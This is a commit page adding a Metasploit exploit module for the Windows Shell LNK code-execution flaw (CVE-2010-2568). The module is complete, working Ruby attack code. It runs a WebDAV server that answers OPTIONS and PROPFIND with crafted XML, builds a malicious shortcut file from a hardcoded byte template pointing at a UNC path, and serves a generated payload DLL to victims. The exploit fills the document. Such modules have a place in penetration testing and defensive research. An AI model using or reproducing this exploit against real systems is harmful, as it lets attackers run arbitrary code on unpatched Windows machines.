Adds coverage for the Windows Shell LNK code execution flaw (CVE-2010-2568)
git-svn-id: file:///home/svn/framework3/trunk@9869 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
f87b7bc59e
commit
fcd23fbdce
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@ -0,0 +1,413 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Shell LNK Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the handling of Windows
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Shortcut files (.LNK) that contain an icon resource pointing to a
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malicious DLL. This module creates a WebDAV service that can be used
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to run an arbitrary payload when accessed as a UNC path.
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},
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'Author' =>
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[
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'hdm', # Module itself
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'jduck', # WebDAV implementation
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'B_H' # Clean LNK template
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2010-2568'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 2048,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ]
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],
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'DisclosureDate' => 'Jun 09 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
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OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
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], self.class)
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deregister_options('SSL', 'SSLVersion') # Just for now
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end
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def on_request_uri(cli, request)
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case request.method
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when 'OPTIONS'
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process_options(cli, request)
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when 'PROPFIND'
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process_propfind(cli, request)
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when 'GET'
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process_get(cli, request)
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else
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print_error("Unexpected request method encountered: #{request.method}")
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end
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end
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def process_get(cli, request)
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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webdav = "\\\\#{myhost}\\"
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if (request.uri =~ /\.dll$/i)
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print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
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return if ((p = regenerate_payload(cli)) == nil)
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data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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if (request.uri =~ /\.lnk$/i)
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print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
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return if ((p = regenerate_payload(cli)) == nil)
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data = generate_link("#{webdav}#{@exploit_base}\\#{@exploit_dll}")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
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resp = create_response(301, "Moved")
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resp["Location"] = "#{webdav}#{@exploit_base}\\"
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resp.body = ""
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resp['Content-Type'] = 'text/xml'
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send_response(resp)
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end
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#
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# OPTIONS requests sent by the WebDav Mini-Redirector
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#
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def process_options(cli, request)
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print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
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headers = {
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'MS-Author-Via' => 'DAV',
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# 'DASL' => '<DAV:sql>',
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# 'DAV' => '1, 2',
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'Allow' => 'OPTIONS, GET, PROPFIND',
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'Public' => 'OPTIONS, GET, PROPFIND'
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}
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resp = create_response(207, "Multi-Status")
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resp.body = ""
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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end
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#
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# PROPFIND requests sent by the WebDav Mini-Redirector
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#
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def process_propfind(cli, request)
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path = request.uri
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print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
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body = ''
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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my_uri = "http://#{my_host}/"
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if path =~ /\.dll$/i
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# Response for the DLL
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print_status("Sending DLL multistatus for #{path} ...")
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{@exploit_dll}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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return
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end
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if path =~ /\.lnk$/i
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# Response for the DLL
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print_status("Sending DLL multistatus for #{path} ...")
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{@exploit_lnk}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>shortcut</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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return
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end
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if path !~ /\/$/
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if path.index(".")
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print_status("Sending 404 for #{path} ...")
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resp = create_response(404, "Not Found")
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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else
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print_status("Sending 301 for #{path} ...")
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resp = create_response(301, "Moved")
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resp["Location"] = path + "/"
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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end
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end
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print_status("Sending directory multistatus for #{path} ...")
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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subdirectory = %Q|
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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files = %Q|
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{@exploit_dll}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{@exploit_lnk}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>shortcut</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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if request["Depth"].to_i > 0
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if path.scan("/").length < 2
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body << subdirectory
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else
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body << files
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end
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end
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body << "</D:multistatus>"
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body.gsub!(/\t/, '')
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# send the response
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml; charset="utf8"'
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cli.send_response(resp)
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end
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def generate_link(unc)
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[ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
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0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x14, 0x00, 0x1f, 0x00, 0xe0, 0x4f,
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0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
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0x30, 0x9d, 0x14, 0x00, 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a,
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0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d, 0x0c, 0x01,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") +
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unc.unpack("C*").pack("v*") + "\x00\x00"
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end
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def exploit
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
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@exploit_unc = "\\\\#{myhost}\\"
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@exploit_base = rand_text_alpha(rand(8)+4)
|
||||
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
|
||||
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
|
||||
end
|
||||
|
||||
print_status("")
|
||||
print_status("Send vulnerable clients to #{@exploit_unc}#{@exploit_base}\\")
|
||||
print_status("")
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
Loading…
Reference in New Issue